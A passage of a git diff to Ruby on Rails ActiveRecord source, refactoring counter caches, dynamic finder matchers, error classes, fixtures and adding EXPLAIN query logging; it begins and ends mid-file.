+    # specific) SQL statements. If :ruby, the schema is dumped as an
+    # ActiveRecord::Schema file which can be loaded into any database that
+    # supports migrations. Use :ruby if you want to have different database
+    # adapters for, e.g., your development and test environments.
+    mattr_accessor :schema_format, instance_accessor: false
+    self.schema_format = :ruby
+
+    ##
+    # :singleton-method:
+    # Specify whether or not to use timestamps for migration versions
+    mattr_accessor :timestamped_migrations, instance_accessor: false
+    self.timestamped_migrations = true
+
+    mattr_accessor :connection_handler, instance_accessor: false
+    self.connection_handler = ConnectionAdapters::ConnectionHandler.new
+
+    mattr_accessor :dependent_restrict_raises, instance_accessor: false
+    self.dependent_restrict_raises = true
+  end
+
+  module Core
+    extend ActiveSupport::Concern
+
+    included do
+      ##
+      # :singleton-method:
+      # The connection handler
+      config_attribute :connection_handler
+
+      %w(logger configurations default_timezone schema_format timestamped_migrations).each do |name|
+        config_attribute name, global: true
+      end
+    end
+
+    module ClassMethods
+      def inherited(child_class) #:nodoc:
+        child_class.initialize_generated_modules
+        super
+      end
+
+      def initialize_generated_modules
+        @attribute_methods_mutex = Mutex.new
+
+        # force attribute methods to be higher in inheritance hierarchy than other generated methods
+        generated_attribute_methods
+        generated_feature_methods
+      end
+
+      def generated_feature_methods
+        @generated_feature_methods ||= begin
+          mod = const_set(:GeneratedFeatureMethods, Module.new)
+          include mod
+          mod
+        end
+      end
+
+      # Returns a string like 'Post(id:integer, title:string, body:text)'
+      def inspect
+        if self == Base
+          super
+        elsif abstract_class?
+          "#{super}(abstract)"
+        elsif table_exists?
+          attr_list = columns.map { |c| "#{c.name}: #{c.type}" } * ', '
+          "#{super}(#{attr_list})"
+        else
+          "#{super}(Table doesn't exist)"
+        end
+      end
+
+      # Overwrite the default class equality method to provide support for association proxies.
+      def ===(object)
+        object.is_a?(self)
+      end
+
+      # Returns an instance of <tt>Arel::Table</tt> loaded with the current table name.
+      #
+      #   class Post < ActiveRecord::Base
+      #     scope :published_and_commented, published.and(self.arel_table[:comments_count].gt(0))
+      #   end
+      def arel_table
+        @arel_table ||= Arel::Table.new(table_name, arel_engine)
+      end
+
+      # Returns the Arel engine.
+      def arel_engine
+        @arel_engine ||= connection_handler.retrieve_connection_pool(self) ? self : active_record_super.arel_engine
+      end
+
+      private
+
+      def relation #:nodoc:
+        relation = Relation.new(self, arel_table)
+
+        if finder_needs_type_condition?
+          relation.where(type_condition).create_with(inheritance_column.to_sym => sti_name)
+        else
+          relation
+        end
+      end
+    end
+
+    # New objects can be instantiated as either empty (pass no construction parameter) or pre-set with
+    # attributes but not yet saved (pass a hash with key names matching the associated table column names).
+    # In both instances, valid attribute keys are determined by the column names of the associated table --
+    # hence you can't have attributes that aren't part of the table columns.
+    #
+    # +initialize+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
+    # in the +options+ parameter.
+    #
+    # ==== Examples
+    #   # Instantiates a single new object
+    #   User.new(:first_name => 'Jamie')
+    #
+    #   # Instantiates a single new object using the :admin mass-assignment security role
+    #   User.new({ :first_name => 'Jamie', :is_admin => true }, :as => :admin)
+    #
+    #   # Instantiates a single new object bypassing mass-assignment security
+    #   User.new({ :first_name => 'Jamie', :is_admin => true }, :without_protection => true)
+    def initialize(attributes = nil, options = {})
+      defaults = self.class.column_defaults.dup
+      defaults.each { |k, v| defaults[k] = v.dup if v.duplicable? }
+
+      @attributes   = self.class.initialize_attributes(defaults)
+      @columns_hash = self.class.column_types.dup
+
+      init_internals
+
+      ensure_proper_type
+
+      populate_with_current_scope_attributes
+
+      assign_attributes(attributes, options) if attributes
+
+      yield self if block_given?
+      run_callbacks :initialize unless _initialize_callbacks.empty?
+    end
+
+    # Initialize an empty model object from +coder+. +coder+ must contain
+    # the attributes necessary for initializing an empty model object. For
+    # example:
+    #
+    #   class Post < ActiveRecord::Base
+    #   end
+    #
+    #   post = Post.allocate
+    #   post.init_with('attributes' => { 'title' => 'hello world' })
+    #   post.title # => 'hello world'
+    def init_with(coder)
+      @attributes = self.class.initialize_attributes(coder['attributes'])
+      @columns_hash = self.class.column_types.merge(coder['column_types'] || {})
+
+      init_internals
+
+      @new_record = false
+
+      run_callbacks :find
+      run_callbacks :initialize
+
+      self
+    end
+
+    ##
+    # :method: clone
+    # Identical to Ruby's clone method.  This is a "shallow" copy.  Be warned that your attributes are not copied.
+    # That means that modifying attributes of the clone will modify the original, since they will both point to the
+    # same attributes hash. If you need a copy of your attributes hash, please use the #dup method.
+    #
+    #   user = User.first
+    #   new_user = user.clone
+    #   user.name               # => "Bob"
+    #   new_user.name = "Joe"
+    #   user.name               # => "Joe"
+    #
+    #   user.object_id == new_user.object_id            # => false
+    #   user.name.object_id == new_user.name.object_id  # => true
+    #
+    #   user.name.object_id == user.dup.name.object_id  # => false
+
+    ##
+    # :method: dup
+    # Duped objects have no id assigned and are treated as new records. Note
+    # that this is a "shallow" copy as it copies the object's attributes
+    # only, not its associations. The extent of a "deep" copy is application
+    # specific and is therefore left to the application to implement according
+    # to its need.
+    # The dup method does not preserve the timestamps (created|updated)_(at|on).
+
+    ##
+    def initialize_dup(other) # :nodoc:
+      cloned_attributes = other.clone_attributes(:read_attribute_before_type_cast)
+      self.class.initialize_attributes(cloned_attributes, :serialized => false)
+
+      cloned_attributes.delete(self.class.primary_key)
+
+      @attributes = cloned_attributes
+      @attributes[self.class.primary_key] = nil
+
+      run_callbacks(:initialize) if _initialize_callbacks.any?
+
+      @changed_attributes = {}
+      self.class.column_defaults.each do |attr, orig_value|
+        @changed_attributes[attr] = orig_value if _field_changed?(attr, orig_value, @attributes[attr])
+      end
+
+      @aggregation_cache = {}
+      @association_cache = {}
+      @attributes_cache  = {}
+
+      @new_record  = true
+
+      ensure_proper_type
+      populate_with_current_scope_attributes
+      super
+    end
+
+    # Populate +coder+ with attributes about this record that should be
+    # serialized. The structure of +coder+ defined in this method is
+    # guaranteed to match the structure of +coder+ passed to the +init_with+
+    # method.
+    #
+    # Example:
+    #
+    #   class Post < ActiveRecord::Base
+    #   end
+    #   coder = {}
+    #   Post.new.encode_with(coder)
+    #   coder # => {"attributes" => {"id" => nil, ... }}
+    def encode_with(coder)
+      coder['attributes'] = attributes
+    end
+
+    # Returns true if +comparison_object+ is the same exact object, or +comparison_object+
+    # is of the same type and +self+ has an ID and it is equal to +comparison_object.id+.
+    #
+    # Note that new records are different from any other record by definition, unless the
+    # other record is the receiver itself. Besides, if you fetch existing records with
+    # +select+ and leave the ID out, you're on your own, this predicate will return false.
+    #
+    # Note also that destroying a record preserves its ID in the model instance, so deleted
+    # models are still comparable.
+    def ==(comparison_object)
+      super ||
+        comparison_object.instance_of?(self.class) &&
+        id.present? &&
+        comparison_object.id == id
+    end
+    alias :eql? :==
+
+    # Delegates to id in order to allow two records of the same type and id to work with something like:
+    #   [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
+    def hash
+      id.hash
+    end
+
+    # Freeze the attributes hash such that associations are still accessible, even on destroyed records.
+    def freeze
+      @attributes.freeze; self
+    end
+
+    # Returns +true+ if the attributes hash has been frozen.
+    def frozen?
+      @attributes.frozen?
+    end
+
+    # Allows sort on objects
+    def <=>(other_object)
+      if other_object.is_a?(self.class)
+        self.to_key <=> other_object.to_key
+      else
+        nil
+      end
+    end
+
+    # Returns +true+ if the record is read only. Records loaded through joins with piggy-back
+    # attributes will be marked as read only since they cannot be saved.
+    def readonly?
+      @readonly
+    end
+
+    # Marks this record as read only.
+    def readonly!
+      @readonly = true
+    end
+
+    # Returns the connection currently associated with the class. This can
+    # also be used to "borrow" the connection to do database work that isn't
+    # easily done without going straight to SQL.
+    def connection
+      self.class.connection
+    end
+
+    # Returns the contents of the record as a nicely formatted string.
+    def inspect
+      inspection = if @attributes
+                     self.class.column_names.collect { |name|
+                       if has_attribute?(name)
+                         "#{name}: #{attribute_for_inspect(name)}"
+                       end
+                     }.compact.join(", ")
+                   else
+                     "not initialized"
+                   end
+      "#<#{self.class} #{inspection}>"
+    end
+
+    # Returns a hash of the given methods with their names as keys and returned values as values.
+    def slice(*methods)
+      Hash[methods.map { |method| [method, public_send(method)] }].with_indifferent_access
+    end
+
+    private
+
+    # Under Ruby 1.9, Array#flatten will call #to_ary (recursively) on each of the elements
+    # of the array, and then rescues from the possible NoMethodError. If those elements are
+    # ActiveRecord::Base's, then this triggers the various method_missing's that we have,
+    # which significantly impacts upon performance.
+    #
+    # So we can avoid the method_missing hit by explicitly defining #to_ary as nil here.
+    #
+    # See also http://tenderlovemaking.com/2011/06/28/til-its-ok-to-return-nil-from-to_ary.html
+    def to_ary # :nodoc:
+      nil
+    end
+
+    def init_internals
+      pk = self.class.primary_key
+
+      @attributes[pk] = nil unless @attributes.key?(pk)
+
+      @aggregation_cache       = {}
+      @association_cache       = {}
+      @attributes_cache        = {}
+      @previously_changed      = {}
+      @changed_attributes      = {}
+      @readonly                = false
+      @destroyed               = false
+      @marked_for_destruction  = false
+      @new_record              = true
+      @mass_assignment_options = nil
+      @_start_transaction_state = {}
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
index 3c7defedac..c877079b25 100644
--- a/activerecord/lib/active_record/counter_cache.rb
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -1,118 +1,115 @@
 module ActiveRecord
   # = Active Record Counter Cache
   module CounterCache
-    # Resets one or more counter caches to their correct value using an SQL
-    # count query. This is useful when adding new counter caches, or if the
-    # counter has been corrupted or modified directly by SQL.
-    #
-    # ==== Parameters
-    #
-    # * +id+ - The id of the object you wish to reset a counter on.
-    # * +counters+ - One or more counter names to reset
-    #
-    # ==== Examples
-    #
-    #   # For Post with id #1 records reset the comments_count
-    #   Post.reset_counters(1, :comments)
-    def reset_counters(id, *counters)
-      object = find(id)
-      counters.each do |association|
-        has_many_association = reflect_on_association(association.to_sym)
+    extend ActiveSupport::Concern
 
-        expected_name = if has_many_association.options[:as]
-          has_many_association.options[:as].to_s.classify
-        else
-          self.name
-        end
-
-        child_class  = has_many_association.klass
-        belongs_to   = child_class.reflect_on_all_associations(:belongs_to)
-        reflection   = belongs_to.find { |e| e.class_name == expected_name }
-        counter_name = reflection.counter_cache_column
+    module ClassMethods
+      # Resets one or more counter caches to their correct value using an SQL
+      # count query. This is useful when adding new counter caches, or if the
+      # counter has been corrupted or modified directly by SQL.
+      #
+      # ==== Parameters
+      #
+      # * +id+ - The id of the object you wish to reset a counter on.
+      # * +counters+ - One or more counter names to reset
+      #
+      # ==== Examples
+      #
+      #   # For Post with id #1 records reset the comments_count
+      #   Post.reset_counters(1, :comments)
+      def reset_counters(id, *counters)
+        object = find(id)
+        counters.each do |association|
+          has_many_association = reflect_on_association(association.to_sym)
 
-        stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({
-          arel_table[counter_name] => object.send(association).count
-        })
-        connection.update stmt
-      end
-      return true
-    end
+          foreign_key  = has_many_association.foreign_key.to_s
+          child_class  = has_many_association.klass
+          belongs_to   = child_class.reflect_on_all_associations(:belongs_to)
+          reflection   = belongs_to.find { |e| e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
+          counter_name = reflection.counter_cache_column
 
-    # A generic "counter updater" implementation, intended primarily to be
-    # used by increment_counter and decrement_counter, but which may also
-    # be useful on its own. It simply does a direct SQL update for the record
-    # with the given ID, altering the given hash of counters by the amount
-    # given by the corresponding value:
-    #
-    # ==== Parameters
-    #
-    # * +id+ - The id of the object you wish to update a counter on or an Array of ids.
-    # * +counters+ - An Array of Hashes containing the names of the fields
-    #   to update as keys and the amount to update the field by as values.
-    #
-    # ==== Examples
-    #
-    #   # For the Post with id of 5, decrement the comment_count by 1, and
-    #   # increment the action_count by 1
-    #   Post.update_counters 5, :comment_count => -1, :action_count => 1
-    #   # Executes the following SQL:
-    #   # UPDATE posts
-    #   #    SET comment_count = COALESCE(comment_count, 0) - 1,
-    #   #        action_count = COALESCE(action_count, 0) + 1
-    #   #  WHERE id = 5
-    #
-    #   # For the Posts with id of 10 and 15, increment the comment_count by 1
-    #   Post.update_counters [10, 15], :comment_count => 1
-    #   # Executes the following SQL:
-    #   # UPDATE posts
-    #   #    SET comment_count = COALESCE(comment_count, 0) + 1,
-    #   #  WHERE id IN (10, 15)
-    def update_counters(id, counters)
-      updates = counters.map do |counter_name, value|
-        operator = value < 0 ? '-' : '+'
-        quoted_column = connection.quote_column_name(counter_name)
-        "#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
+          stmt = unscoped.where(arel_table[primary_key].eq(object.id)).arel.compile_update({
+            arel_table[counter_name] => object.send(association).count
+          })
+          connection.update stmt
+        end
+        return true
       end
 
-      IdentityMap.remove_by_id(symbolized_base_class, id) if IdentityMap.enabled?
+      # A generic "counter updater" implementation, intended primarily to be
+      # used by increment_counter and decrement_counter, but which may also
+      # be useful on its own. It simply does a direct SQL update for the record
+      # with the given ID, altering the given hash of counters by the amount
+      # given by the corresponding value:
+      #
+      # ==== Parameters
+      #
+      # * +id+ - The id of the object you wish to update a counter on or an Array of ids.
+      # * +counters+ - An Array of Hashes containing the names of the fields
+      #   to update as keys and the amount to update the field by as values.
+      #
+      # ==== Examples
+      #
+      #   # For the Post with id of 5, decrement the comment_count by 1, and
+      #   # increment the action_count by 1
+      #   Post.update_counters 5, :comment_count => -1, :action_count => 1
+      #   # Executes the following SQL:
+      #   # UPDATE posts
+      #   #    SET comment_count = COALESCE(comment_count, 0) - 1,
+      #   #        action_count = COALESCE(action_count, 0) + 1
+      #   #  WHERE id = 5
+      #
+      #   # For the Posts with id of 10 and 15, increment the comment_count by 1
+      #   Post.update_counters [10, 15], :comment_count => 1
+      #   # Executes the following SQL:
+      #   # UPDATE posts
+      #   #    SET comment_count = COALESCE(comment_count, 0) + 1
+      #   #  WHERE id IN (10, 15)
+      def update_counters(id, counters)
+        updates = counters.map do |counter_name, value|
+          operator = value < 0 ? '-' : '+'
+          quoted_column = connection.quote_column_name(counter_name)
+          "#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
+        end
 
-      update_all(updates.join(', '), primary_key => id )
-    end
+        where(primary_key => id).update_all updates.join(', ')
+      end
 
-    # Increment a number field by one, usually representing a count.
-    #
-    # This is used for caching aggregate values, so that they don't need to be computed every time.
-    # For example, a DiscussionBoard may cache post_count and comment_count otherwise every time the board is
-    # shown it would have to run an SQL query to find how many posts and comments there are.
-    #
-    # ==== Parameters
-    #
-    # * +counter_name+ - The name of the field that should be incremented.
-    # * +id+ - The id of the object that should be incremented.
-    #
-    # ==== Examples
-    #
-    #   # Increment the post_count column for the record with an id of 5
-    #   DiscussionBoard.increment_counter(:post_count, 5)
-    def increment_counter(counter_name, id)
-      update_counters(id, counter_name => 1)
-    end
+      # Increment a number field by one, usually representing a count.
+      #
+      # This is used for caching aggregate values, so that they don't need to be computed every time.
+      # For example, a DiscussionBoard may cache post_count and comment_count otherwise every time the board is
+      # shown it would have to run an SQL query to find how many posts and comments there are.
+      #
+      # ==== Parameters
+      #
+      # * +counter_name+ - The name of the field that should be incremented.
+      # * +id+ - The id of the object that should be incremented.
+      #
+      # ==== Examples
+      #
+      #   # Increment the post_count column for the record with an id of 5
+      #   DiscussionBoard.increment_counter(:post_count, 5)
+      def increment_counter(counter_name, id)
+        update_counters(id, counter_name => 1)
+      end
 
-    # Decrement a number field by one, usually representing a count.
-    #
-    # This works the same as increment_counter but reduces the column value by 1 instead of increasing it.
-    #
-    # ==== Parameters
-    #
-    # * +counter_name+ - The name of the field that should be decremented.
-    # * +id+ - The id of the object that should be decremented.
-    #
-    # ==== Examples
-    #
-    #   # Decrement the post_count column for the record with an id of 5
-    #   DiscussionBoard.decrement_counter(:post_count, 5)
-    def decrement_counter(counter_name, id)
-      update_counters(id, counter_name => -1)
+      # Decrement a number field by one, usually representing a count.
+      #
+      # This works the same as increment_counter but reduces the column value by 1 instead of increasing it.
+      #
+      # ==== Parameters
+      #
+      # * +counter_name+ - The name of the field that should be decremented.
+      # * +id+ - The id of the object that should be decremented.
+      #
+      # ==== Examples
+      #
+      #   # Decrement the post_count column for the record with an id of 5
+      #   DiscussionBoard.decrement_counter(:post_count, 5)
+      def decrement_counter(counter_name, id)
+        update_counters(id, counter_name => -1)
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/dynamic_finder_match.rb b/activerecord/lib/active_record/dynamic_finder_match.rb
deleted file mode 100644
index b309df9b1b..0000000000
--- a/activerecord/lib/active_record/dynamic_finder_match.rb
+++ /dev/null
@@ -1,56 +0,0 @@
-module ActiveRecord
-
-  # = Active Record Dynamic Finder Match
-  #
-  # Refer to ActiveRecord::Base documentation for Dynamic attribute-based finders for detailed info
-  #
-  class DynamicFinderMatch
-    def self.match(method)
-      finder       = :first
-      bang         = false
-      instantiator = nil
-
-      case method.to_s
-      when /^find_(all_|last_)?by_([_a-zA-Z]\w*)$/
-        finder = :last if $1 == 'last_'
-        finder = :all if $1 == 'all_'
-        names = $2
-      when /^find_by_([_a-zA-Z]\w*)\!$/
-        bang = true
-        names = $1
-      when /^find_or_(initialize|create)_by_([_a-zA-Z]\w*)$/
-        instantiator = $1 == 'initialize' ? :new : :create
-        names = $2
-      else
-        return nil
-      end
-
-      new(finder, instantiator, bang, names.split('_and_'))
-    end
-
-    def initialize(finder, instantiator, bang, attribute_names)
-      @finder          = finder
-      @instantiator    = instantiator
-      @bang            = bang
-      @attribute_names = attribute_names
-    end
-
-    attr_reader :finder, :attribute_names, :instantiator
-
-    def finder?
-      @finder && !@instantiator
-    end
-
-    def instantiator?
-      @finder == :first && @instantiator
-    end
-
-    def creator?
-      @finder == :first && @instantiator == :create
-    end
-
-    def bang?
-      @bang
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/dynamic_matchers.rb b/activerecord/lib/active_record/dynamic_matchers.rb
new file mode 100644
index 0000000000..3bac31c6aa
--- /dev/null
+++ b/activerecord/lib/active_record/dynamic_matchers.rb
@@ -0,0 +1,131 @@
+module ActiveRecord
+  module DynamicMatchers #:nodoc:
+    # This code in this file seems to have a lot of indirection, but the indirection
+    # is there to provide extension points for the activerecord-deprecated_finders
+    # gem. When we stop supporting activerecord-deprecated_finders (from Rails 5),
+    # then we can remove the indirection.
+
+    def respond_to?(name, include_private = false)
+      match = Method.match(self, name)
+      match && match.valid? || super
+    end
+
+    private
+
+    def method_missing(name, *arguments, &block)
+      match = Method.match(self, name)
+
+      if match && match.valid?
+        match.define
+        send(name, *arguments, &block)
+      else
+        super
+      end
+    end
+
+    class Method
+      @matchers = []
+
+      class << self
+        attr_reader :matchers
+
+        def match(model, name)
+          klass = matchers.find { |k| name =~ k.pattern }
+          klass.new(model, name) if klass
+        end
+
+        def pattern
+          /^#{prefix}_([_a-zA-Z]\w*)#{suffix}$/
+        end
+
+        def prefix
+          raise NotImplementedError
+        end
+
+        def suffix
+          ''
+        end
+      end
+
+      attr_reader :model, :name, :attribute_names
+
+      def initialize(model, name)
+        @model           = model
+        @name            = name.to_s
+        @attribute_names = @name.match(self.class.pattern)[1].split('_and_')
+        @attribute_names.map! { |n| @model.attribute_aliases[n] || n }
+      end
+
+      def valid?
+        attribute_names.all? { |name| model.columns_hash[name] || model.reflect_on_aggregation(name.to_sym) }
+      end
+
+      def define
+        model.class_eval <<-CODE, __FILE__, __LINE__ + 1
+          def self.#{name}(#{signature})
+            #{body}
+          end
+        CODE
+      end
+
+      def body
+        raise NotImplementedError
+      end
+    end
+
+    module Finder
+      # Extended in activerecord-deprecated_finders
+      def body
+        result
+      end
+
+      # Extended in activerecord-deprecated_finders
+      def result
+        "#{finder}(#{attributes_hash})"
+      end
+
+      # Extended in activerecord-deprecated_finders
+      def signature
+        attribute_names.join(', ')
+      end
+
+      def attributes_hash
+        "{" + attribute_names.map { |name| ":#{name} => #{name}" }.join(',') + "}"
+      end
+
+      def finder
+        raise NotImplementedError
+      end
+    end
+
+    class FindBy < Method
+      Method.matchers << self
+      include Finder
+
+      def self.prefix
+        "find_by"
+      end
+
+      def finder
+        "find_by"
+      end
+    end
+
+    class FindByBang < Method
+      Method.matchers << self
+      include Finder
+
+      def self.prefix
+        "find_by"
+      end
+
+      def self.suffix
+        "!"
+      end
+
+      def finder
+        "find_by!"
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/dynamic_scope_match.rb b/activerecord/lib/active_record/dynamic_scope_match.rb
deleted file mode 100644
index c832e927d6..0000000000
--- a/activerecord/lib/active_record/dynamic_scope_match.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-module ActiveRecord
-
-  # = Active Record Dynamic Scope Match
-  #
-  # Provides dynamic attribute-based scopes such as <tt>scoped_by_price(4.99)</tt>
-  # if, for example, the <tt>Product</tt> has an attribute with that name. You can
-  # chain more <tt>scoped_by_* </tt> methods after the other. It acts like a named
-  # scope except that it's dynamic.
-  class DynamicScopeMatch
-    def self.match(method)
-      return unless method.to_s =~ /^scoped_by_([_a-zA-Z]\w*)$/
-      new(true, $1 && $1.split('_and_'))
-    end
-
-    def initialize(scope, attribute_names)
-      @scope           = scope
-      @attribute_names = attribute_names
-    end
-
-    attr_reader :scope, :attribute_names
-    alias :scope? :scope
-  end
-end
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
index fc80f3081e..5f157fde6d 100644
--- a/activerecord/lib/active_record/errors.rb
+++ b/activerecord/lib/active_record/errors.rb
@@ -53,6 +53,10 @@ module ActiveRecord
   class RecordNotSaved < ActiveRecordError
   end
 
+  # Raised by ActiveRecord::Base.destroy! when a call to destroy would return false.
+  class RecordNotDestroyed < ActiveRecordError
+  end
+
   # Raised when SQL statement cannot be executed by the database (for example, it's often the case for
   # MySQL when Ruby driver used is too old).
   class StatementInvalid < ActiveRecordError
@@ -102,13 +106,11 @@ module ActiveRecord
     attr_reader :record, :attempted_action
 
     def initialize(record, attempted_action)
+      super("Attempted to #{attempted_action} a stale object: #{record.class.name}")
       @record = record
       @attempted_action = attempted_action
     end
 
-    def message
-      "Attempted to #{attempted_action} a stale object: #{record.class.name}"
-    end
   end
 
   # Raised when association is being configured improperly or
@@ -164,9 +166,9 @@ module ActiveRecord
   class AttributeAssignmentError < ActiveRecordError
     attr_reader :exception, :attribute
     def initialize(message, exception, attribute)
+      super(message)
       @exception = exception
       @attribute = attribute
-      @message = message
     end
   end
 
@@ -185,11 +187,12 @@ module ActiveRecord
     attr_reader :model
 
     def initialize(model)
+      super("Unknown primary key for table #{model.table_name} in model #{model}.")
       @model = model
     end
 
-    def message
-      "Unknown primary key for table #{model.table_name} in model #{model}."
-    end
+  end
+
+  class ImmutableRelation < ActiveRecordError
   end
 end
diff --git a/activerecord/lib/active_record/explain.rb b/activerecord/lib/active_record/explain.rb
new file mode 100644
index 0000000000..9e0390bed1
--- /dev/null
+++ b/activerecord/lib/active_record/explain.rb
@@ -0,0 +1,88 @@
+require 'active_support/lazy_load_hooks'
+
+module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    mattr_accessor :auto_explain_threshold_in_seconds, instance_accessor: false
+  end
+
+  module Explain
+    delegate :auto_explain_threshold_in_seconds, :auto_explain_threshold_in_seconds=, to: 'ActiveRecord::Model'
+
+    # If auto explain is enabled, this method triggers EXPLAIN logging for the
+    # queries triggered by the block if it takes more than the threshold as a
+    # whole. That is, the threshold is not checked against each individual
+    # query, but against the duration of the entire block. This approach is
+    # convenient for relations.
+    #
+    # The available_queries_for_explain thread variable collects the queries
+    # to be explained. If the value is nil, it means queries are not being
+    # currently collected. A false value indicates collecting is turned
+    # off. Otherwise it is an array of queries.
+    def logging_query_plan # :nodoc:
+      return yield unless logger
+
+      threshold = auto_explain_threshold_in_seconds
+      current   = Thread.current
+      if threshold && current[:available_queries_for_explain].nil?
+        begin
+          queries = current[:available_queries_for_explain] = []
+          start = Time.now
+          result = yield
+          logger.warn(exec_explain(queries)) if Time.now - start > threshold
+          result
+        ensure
+          current[:available_queries_for_explain] = nil
+        end
+      else
+        yield
+      end
+    end
+
+    # Relation#explain needs to be able to collect the queries regardless of
+    # whether auto explain is enabled. This method serves that purpose.
+    def collecting_queries_for_explain # :nodoc:
+      current = Thread.current
+      original, current[:available_queries_for_explain] = current[:available_queries_for_explain], []
+      return yield, current[:available_queries_for_explain]
+    ensure
+      # Note that the return value above does not depend on this assigment.
+      current[:available_queries_for_explain] = original
+    end
+
+    # Makes the adapter execute EXPLAIN for the tuples of queries and bindings.
+    # Returns a formatted string ready to be logged.
+    def exec_explain(queries) # :nodoc:
+      str = queries && queries.map do |sql, bind|
+        [].tap do |msg|
+          msg << "EXPLAIN for: #{sql}"
+          unless bind.empty?
+            bind_msg = bind.map {|col, val| [col.name, val]}.inspect
+            msg.last << " #{bind_msg}"
+          end
+          msg << connection.explain(sql, bind)
+        end.join("\n")
+      end.join("\n")
+
+      # Overriding inspect to be more human readable, specially in the console.
+      def str.inspect
+        self
+      end
+      str
+    end
+
+    # Silences automatic EXPLAIN logging for the duration of the block.
+    #
+    # This has high priority, no EXPLAINs will be run even if downwards
+    # the threshold is set to 0.
+    #
+    # As the name of the method suggests this only applies to automatic
+    # EXPLAINs, manual calls to <tt>ActiveRecord::Relation#explain</tt> run.
+    def silence_auto_explain
+      current = Thread.current
+      original, current[:available_queries_for_explain] = current[:available_queries_for_explain], false
+      yield
+    ensure
+      current[:available_queries_for_explain] = original
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/explain_subscriber.rb b/activerecord/lib/active_record/explain_subscriber.rb
new file mode 100644
index 0000000000..d5ba343b4c
--- /dev/null
+++ b/activerecord/lib/active_record/explain_subscriber.rb
@@ -0,0 +1,27 @@
+require 'active_support/notifications'
+
+module ActiveRecord
+  class ExplainSubscriber # :nodoc:
+    def start(name, id, payload)
+      # unused
+    end
+
+    def finish(name, id, payload)
+      if queries = Thread.current[:available_queries_for_explain]
+        queries << payload.values_at(:sql, :binds) unless ignore_payload?(payload)
+      end
+    end
+
+    # SCHEMA queries cannot be EXPLAINed, also we do not want to run EXPLAIN on
+    # our own EXPLAINs now matter how loopingly beautiful that would be.
+    #
+    # On the other hand, we want to monitor the performance of our real database
+    # queries, not the performance of the access to the query cache.
+    IGNORED_PAYLOADS = %w(SCHEMA EXPLAIN CACHE)
+    def ignore_payload?(payload)
+      payload[:exception] || IGNORED_PAYLOADS.include?(payload[:name])
+    end
+
+    ActiveSupport::Notifications.subscribe("sql.active_record", new)
+  end
+end
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index cad9417216..e19ff5edd2 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -1,30 +1,14 @@
 require 'erb'
-
-begin
-  require 'psych'
-rescue LoadError
-end
-
 require 'yaml'
 require 'zlib'
 require 'active_support/dependencies'
-require 'active_support/core_ext/array/wrap'
-require 'active_support/core_ext/object/blank'
-require 'active_support/core_ext/logger'
-require 'active_support/ordered_hash'
 require 'active_record/fixtures/file'
+require 'active_record/errors'
 
-if defined? ActiveRecord
+module ActiveRecord
   class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
   end
-else
-  class FixtureClassNotFound < StandardError #:nodoc:
-  end
-end
 
-class FixturesFileNotFound < StandardError; end
-
-module ActiveRecord
   # \Fixtures are a way of organizing data that you want to test against; in short, sample data.
   #
   # They are stored in YAML files, one file per model, which are placed in the directory
@@ -98,7 +82,7 @@ module ActiveRecord
   #   end
   #
   #   test "find_alt_method_2" do
-  #     assert_equal "Ruby on Rails", @rubyonrails.news
+  #     assert_equal "Ruby on Rails", @rubyonrails.name
   #   end
   #
   # In order to use these methods to access fixtured data within your testcases, you must specify one of the
@@ -387,14 +371,23 @@ module ActiveRecord
   #
   # Any fixture labeled "DEFAULTS" is safely ignored.
   class Fixtures
+    #--
+    # NOTE: an instance of Fixtures can be called fixture_set, it is normally stored in a single YAML file and possibly in a folder with the same name.
+    #++
     MAX_ID = 2 ** 30 - 1
 
     @@all_cached_fixtures = Hash.new { |h,k| h[k] = {} }
 
-    def self.find_table_name(table_name) # :nodoc:
+    def self.default_fixture_model_name(fixture_set_name) # :nodoc:
       ActiveRecord::Base.pluralize_table_names ?
-        table_name.to_s.singularize.camelize :
-        table_name.to_s.camelize
+        fixture_set_name.singularize.camelize :
+        fixture_set_name.camelize
+    end
+
+    def self.default_fixture_table_name(fixture_set_name) # :nodoc:
+       "#{ ActiveRecord::Base.table_name_prefix }"\
+       "#{ fixture_set_name.tr('/', '_') }"\
+       "#{ ActiveRecord::Base.table_name_suffix }".to_sym
     end
 
     def self.reset_cache
@@ -421,11 +414,11 @@ module ActiveRecord
       cache_for_connection(connection).update(fixtures_map)
     end
 
-    def self.instantiate_fixtures(object, fixture_name, fixtures, load_instances = true)
+    def self.instantiate_fixtures(object, fixture_set, load_instances = true)
       if load_instances
-        fixtures.each do |name, fixture|
+        fixture_set.each do |fixture_name, fixture|
           begin
-            object.instance_variable_set "@#{name}", fixture.find
+            object.instance_variable_set "@#{fixture_name}", fixture.find
           rescue FixtureClassNotFound
             nil
           end
@@ -434,63 +427,59 @@ module ActiveRecord
     end
 
     def self.instantiate_all_loaded_fixtures(object, load_instances = true)
-      all_loaded_fixtures.each do |table_name, fixtures|
-        ActiveRecord::Fixtures.instantiate_fixtures(object, table_name, fixtures, load_instances)
+      all_loaded_fixtures.each_value do |fixture_set|
+        instantiate_fixtures(object, fixture_set, load_instances)
       end
     end
 
     cattr_accessor :all_loaded_fixtures
     self.all_loaded_fixtures = {}
 
-    def self.create_fixtures(fixtures_directory, table_names, class_names = {})
-      table_names = [table_names].flatten.map { |n| n.to_s }
-      table_names.each { |n|
